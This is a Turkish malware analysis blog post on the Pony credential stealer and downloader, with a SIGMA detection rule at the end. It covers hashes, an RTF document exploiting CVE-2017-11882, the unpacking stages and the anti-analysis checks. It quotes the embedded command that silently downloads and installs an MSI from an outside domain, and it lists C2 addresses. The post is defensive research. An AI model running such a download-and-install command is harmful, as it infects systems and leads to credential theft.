Pony Zararlı Analizi ve Uygulanabilecek SIGMA Kuralı
PONY
Genel Bakış
Teknolojinin gelişmesiyle beraber zararlı
yazılımlarında kabiliyetleri artmaktadır. Zararlı yazılımları
artık teknik bilgisi çok fazla olmayan insanlar da üretip,
dağıtabilir konuma gelmektedir. Zararlı işlemleri yapmanızı
sağlayan araçlar internette hazır olarak satılıp, kötü niyetli
kişilerin yapması gereken tek şey bunları satın alıp 1-2 tuşa
basarak hazır hale getirmektir. Pony zararlısı da bu zararlılar
içerisindedir. Pony parola hırsızı (information stealer) ve diğer
zararlı yazılımların indirilip çalıştırılmasını sağlayan
bir zararlı yazılımdır. Pony’nin kaynak kodları[1]
daha sonradan sızmış olup iç yapısını biraz daha
görebiliyoruz.
Özet
Bu analiz, son yıllarda aktif olan Pony zararlı yazılımının neler yaptığını anlatmaya yöneliktir. Pony e-mail’in ekindeki zararlı dosyalarla yayılıp, asıl zararlısını indirip çalıştırmaya yöneliktir. Zararlının amacı bulaştığı sistemdeki bilgileri toplamak ve varsa diğer zararlı yazılımları indirmek için ara katman oluşturmaktır.Temel Bilgiler
Bu bölümde verilecek olan bilgiler Pony zararlısına aittir.
manptca.exe
|
|
MD5
|
b3b2e248d1ba2beb966faf9ed100d867
|
SHA-1
|
599c7a6f929c99c433a684bf056daa5537a26672
|
SHA-256
|
ec4fdc32d53fcd400990321c71935867acc2d3e1c0946b2504a75f9a36d39f58
|
Dosya
boyutu
|
139.5
KB
|
Dosya
türü
|
Win32
EXE
|
Payment_001.doc
|
|
MD5
|
ba1fd5d46077293e959bc8c270d94dc2
|
SHA-1
|
4ea1e28b2cb0dea595d8eb7c974f79d8029c9b7b
|
SHA-256
|
788884332fc1c199107310ff5b6af4d8605ff3bdd5e67f6a4bc5db55a03321b1
|
Dosya
boyutu
|
434.33
KB
|
Dosya
türü
|
Rich
Text Format (RTF)
|
Analiz
Bu analiz sırasında taze örnek ve baştan sona bir operasyonu gerçekleştirmek için gereken kontrol sunucuları kapalı olduğundan dolayı maldoc[2] ile yayılan dosya ve çalıştırılabilir dosya birbirinin devamı olmamakla beraber ikisi de Pony zararlısının bir bacağını oluşturmaktadır. Oltalama mailinin ekiyle gelen dosyayı analiz etmeye başlayalım. Dosyayı açtığımız zaman bizi boş bir sayfada sadece “You can edit this file as you like” (dosyayı istediğiniz gibi değiştirebilirsiniz) yazısıyla karşılaşıyoruz.Dosyanın içerisinde hiçbir şey yazmaması ve makro olmamasından dolayı başka yerlere odaklanıyoruz.Maldoc (zararlı işlerde kullanılan word/office/pdf dosyaları) analizi yaparken genelde Remnux isimli linux distrosunu kullanıyorum. İşe yarayan birçok araç bu distro’da hazır halde kullanımımıza sunuluyor.
Dosyanın türüne bakmak için file komutunu kullandığımızda RTF (Rich Text Format) olduğunu görüyoruz.
Edindiğimiz bilgiler çerçevesinde analize devam edebiliriz. rtfobj aracı kullanarak dosyanın içerisinde gömülü olarak bulunan dosyalara bakacağız.
İçerisinden 3 adet dosya
çıkıyor. Bunların dosya türüne baktığımızda normal
olduklarını görüyoruz.
OOXML dosyasını unzip komutu ile çıkarttığımızda içerisinden dosyalar çıkıyor.
Bu dosyalara baktığımızda normal dosyalar olduğunu ve geçen analizimizde Relationship özelliğini sömürülmediğini ve normal URL’lerin kullanıldığını görüyoruz.
Rtfdump aracını kullanarak bu sefer Payment_002.doc dosyasının içerisindeki bütün dosyalara bakıyoruz. Çıktıda dikkatimizi 177-178-179. sıradaki elemanlar çekiyor. Bu OLE dosyalarını “rtfdump.py -f O Payment_002.doc” komutuyla da bulabilirdik.
178’de bulunan ole dosyasını incelemek için “python rtdump.py -s 178 -H -E Payment_002.doc” komutunu kullanıyoruz. Bu komutta dikkatimizi bir yer çekiyor.
Bu komutu açıklamadan önce bu
dosyanın CVE-2017-11882[3],[4] zafiyetini kullandığını
biliyoruz. Bu zafiyet Microsoft Equation Editor (Ofis programları
için denklem ekleme/düzenleme aracı) üzerinde bulunan bellek
aşırtma zafiyetidir. Equation editor’a verilen uzun font ismi
bellekten taşıp (overflow) istenmeyen kod çalıştırılmasına
sebebiyet veriyor.
Yukarıdaki görselde de görüldüğü üzere “cmd.exe & /C
CD C: & msiexec.exe /i https://agahguner.com/44.msi /quiet”
komutu burada çalıştırılmıştır. Bu komutu açıklamak
isterim:-
CMD /C parametresiyle çalıştırılır. /C parametresi
kendisinden sonra gelen komutun çalıştırılıp sonra da CMD’yi
kapatması için kullanılır.
-
CD C: komutu ile programın çalıştığı dizin
gösteriliyor.
-
msiexec.exe /i komutu verilen paketin veya bu durumda
linkin indirilip kurulması için kullanılır.
-
/quiet parametresi ile cmd’yi sessiz modda pencere
açmadan çalıştırıyor.
Şimdiye kadar geldiğimiz yerde zararlı dosyayı inceleyip ne yaptığını anladık. Zararlı dosyaya incelemeye başlayabiliriz. DIE aracı ile incelediğimiz .Net dosyası olduğunu görüyoruz. Entropisinin 7.41 ile yüksek olduğunu görüyoruz.
Dosyamız .net dosyası olduğu için çok basit bir şekilde decompile (kaynak kodlarına geri döndürme) edebiliriz. Dnspy aracını kullanarak dosyayı inceleyemeye devam ediyoruz. İlginç bir şekilde resim dosyasının olduğunu görüyoruz.
Metot isimlerine baktığımızda
farklı karakterlerle karşılaşıyoruz. Bu karakterler ve
entropisinin yüksek olması bize dosyanın packing (paketlenmiş), (tersine mühendislik işlemini zorlaştıran işlem, dosyayı
paketleyip içerisindeki gizlemek gibi düşünebiliriz.) işlemi
uygulandığı kanısına varabiliriz.
.Net ile yazılan paketlenmiş zararlı yazılımlar içerisindeki
tehlikeli kodu yüklemek için Reflection adı verilen bir özelliği
kullanır. Bu özellik .net ile beraber gelmektedir. Bu zararlı
yazılımda da Assembly.load fonksiyonuna breakpoint koyarak, diğer
aşamaya geçiş olan zararlıyı çıkaracağız. Hangi metod’a
breakpoint konulacağı aşağıdaki görselde gösterilmiştir.Breakpoint’i koyup çalıştırdıktan sonra o noktada çalışmanın durduğunu görüyoruz.
Value değerine sağ tıklayıp “Save” diyerek, kaydediyoruz.
Artık elimizde 2.aşama olarak
isimlendirebileceğimiz dosyamız var. Bu dosyayı incelemeye
başlayalım. Bu dosyanın DIE sonucu bize .net ile yazıldığını
ve yine kolayca decompile edebileceğimizi gösteriyor.
Fonksiyonlara bakmaya başladığımızda ilgi çekici şeyler görüyoruz. Run fonksiyonuna baktığımızda cmd’ye argüman verilerek istenilen işlemin çalıştırılmasını sağlıyor.
Avast fonksiyonuna baktığımzıda,
avast’ın kullandığı “snxhk.dll” isimli dll’in kontrolün
yapıldığını ve buna göre işlemin uykuya alındığını
görüyoruz.
VMRunning fonksiyonunda ise dosyanın sanal makinede çalıştırıldığını kontrol etmek için bazı kontroller yapılmış. Bu kontrolü video kontrolcüsü bilgisini kontrol ederek yapmış. Bu sürücüler sanal makinelerde aynı isimle olduğu için sabit stringler kullanılmış.
antiSandie fonksiyonunda ise sandbox (araştırmacıların kullandığı sanal ve otomatize ortamlar) kullanımını kontrol ediyor. Bu kontrol çalışan bütün işlemler içinde “sanboxierpcss” ve SessionId kontrolü ile yapılmış.
Burada gözümüze çarpan diğer
fonksiyon ise ReadManagedResource fonksiyonu oluyor. Bu fonksiyonu
incelediğimiz zaman yukarıda bahsi geçen resmi kullanarak
payload’ı çıkarttığını görüyoruz. Yani yukarıda adı
geçen görsel payload’ı saklamak için kullanılıyor ve masum
değil :)
2. aşama diye adlandırdığımız bu dosyanın anti-analiz kontrollerini yaptığını ve bir enjeksiyon daha yaparak 3.aşama için ara adım olduğunu söyleyebiliriz. 3.aşamayı çıkartmak için yapmamız gereken şey, ilk dosyayı çalıştırıp herhangi bir program yardımıyla (ben process hacker kullandım) işlemi “suspend” edip, debugger’a koymak.
Debuggera ekledikten sonra
“Memory Map” kısmını açarak arama yapıyoruz.
Çıkan sonuçlar arasında en üstteki hafıza bloğunu çıkartmak için “Follow in dump” seçeneğini izliyoruz.
MZ ile başlayan hafızamız bize istediğimiz şeyi veriyor. MZ çalıştırılabilir dosyalar için kullanılan magic byte’dır.
Bu hafıza bloğunu çıkarttıktan sonra analizimize devam edebiliriz. Elimizdeki dosyayı IDA ile açıp baktığımızda hiçbir anlam ifade etmeyen stringler görüyoruz. Bu bize bazı şeylerin ters gittiğinin sinyalini veriyor.
PE-bear aracı ile dosyayı incelediğimiz zaman hafızanın düzenlenmediğini görüyoruz. Bundan dolayı Raw Address’deki değerleri Virtual Address’teki değerlere uyacak şekilde düzeltiyoruz. Öncesini ve sonrasını aşağıdaki görsellerde bulabilirsiniz.
Düzelttiğimiz hafıza bölümleriyle beraber dosyayı kaydediyoruz. IDA ile açtığımız en son dosya’ya baktığımızda bize gayet düzgün ve ilgi çekici stringler veriyor. Zararlının amacını bildiğimiz için bu stringler normal geliyor. Zararlı bu aşamadan sonra aşağıda görselde de verilen parolaları bazı programlarda (görsellerde de görülen sql, ftp vs) bulduklarını ve tarayıcılardan, mail uygulamalarından topladığı parolaları kontrol sunucusuna yolluyor.
Öneriler
-
Bilinçlenmek en büyük önlemlerden biridir. Gündemi
takip edebilecek kadar bilgi çok şey değiştirebilir.
-
Şirketiniz için güvenlik politikası oluşturabilirsiniz.
-
Bilmediğiniz kaynaklardan gelen dosyaları açmayın. Pony
ve diğer zararlıların yayılırken kullandığı en yaygın
yöntemlerden bir tanesi zararsız gözüken dokümanları
yaymaktır.
-
Güvenmediğiniz dosyaları çevrimiçi
araçlarla (VirusTotal, hybrid-analysis vb.) kolayca analiz
edip, ondan sonra çalıştırabilirsiniz.
-
Güvenilir antivürs programları kullanabilirsiniz.
-
Domain-Based Message Authentication, Reporting &
Conformance (DMARC) sistemi
kurularak kuruma gelen spam mailleri en aza indirebilirsiniz.
Pony’nin Tespiti için Kullanılabilecek SIGMA Kuralı
title: Ponydescription: Detect Pony's Malicious Activities
author: Burak ÇARIKÇI
references:
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-quarterly-threats-jun-2017.pdf
date: 10/05/2019
status: testing
detection:
condition: 1 of them
logsource:
category: firewall
detection:
outgoing:
dst:
- 101.160.1.157
- 101.160.1.157
- 109.87.233.72
- 114.180.240.177
- 122.210.153.121
- 190.254.65.114
- 77.122.108.240
- 78.97.2.159
- 82.211.132.7
- 89.34.127.5
- 91.203.158.237
- 91.250.26.58
- 92.52.139.145
- 93.185.221.176
- 94.153.159.186
- 95.180.67.140
- 96.41.189.181
- agahguner.com
- paclficinsight.com
incoming:
src:
- 101.160.1.157
- 101.160.1.157
- 109.87.233.72
- 114.180.240.177
- 122.210.153.121
- 190.254.65.114
- 77.122.108.240
- 78.97.2.159
- 82.211.132.7
- 89.34.127.5
- 91.203.158.237
- 91.250.26.58
- 92.52.139.145
- 93.185.221.176
- 94.153.159.186
- 95.180.67.140
- 96.41.189.181
- agahguner.com
- paclficinsight.com
logsource:
product: windows
service: sysmon
detection:
selection1:
#Sysmon process creation
EventID: 1
ParentImage:
- '*\manptca.exe'
Image:
- '*\RegAsm'
- '*\RegAsm.exe'
fields:
- Image
- TargetFileName
- CommandLine
- ParentCommandLine
- EventID
- TargetObject
falsepositives:
- unknown
level: high
mitre-attack:
- Spearphishing Attachment
- Command-Line Interface
- Process Hollowing
- Commonly Used Port
- Man in the Browser
Kaynakça
-
Pony’nin kaynak kodları:
https://github.com/nyx0/Pony/tree/master/panel
-
Malspam Delivers Pony and Loki-Bot:
https://malwarebreakdown.com/2018/03/19/malspam-delivers-pony-and-loki-bot/
-
Analysis of CVE-2017-11882 Exploit in the Wild:
https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/
-
Analysis of a Packed Pony Downloader:
https://www.uperesia.com/analysis-of-a-packed-pony-downloader
-
Pony zararlısının VirusTotal sonucu:
https://www.virustotal.com/gui/file/ec4fdc32d53fcd400990321c71935867acc2d3e1c0946b2504a75f9a36d39f58/detection
-
Payment_002.doc VirusTotal sonucu:
https://www.virustotal.com/gui/file/2fdc22d8926db1b04dc3d62ff6da72236cb1c052b23553b644c7f18ea8496d8a/detection
-
Payment_002.doc dosyasının (görselin alındığı yer)
any.run sonucu:
https://app.any.run/tasks/fce94353-a218-4094-aedf-03d8c5e30220
-
Remnux distrosu: https://remnux.org/
Burak ÇARIKÇI
CT-Zer0
CRYPTTECH
Yorumlar
Yorum Gönder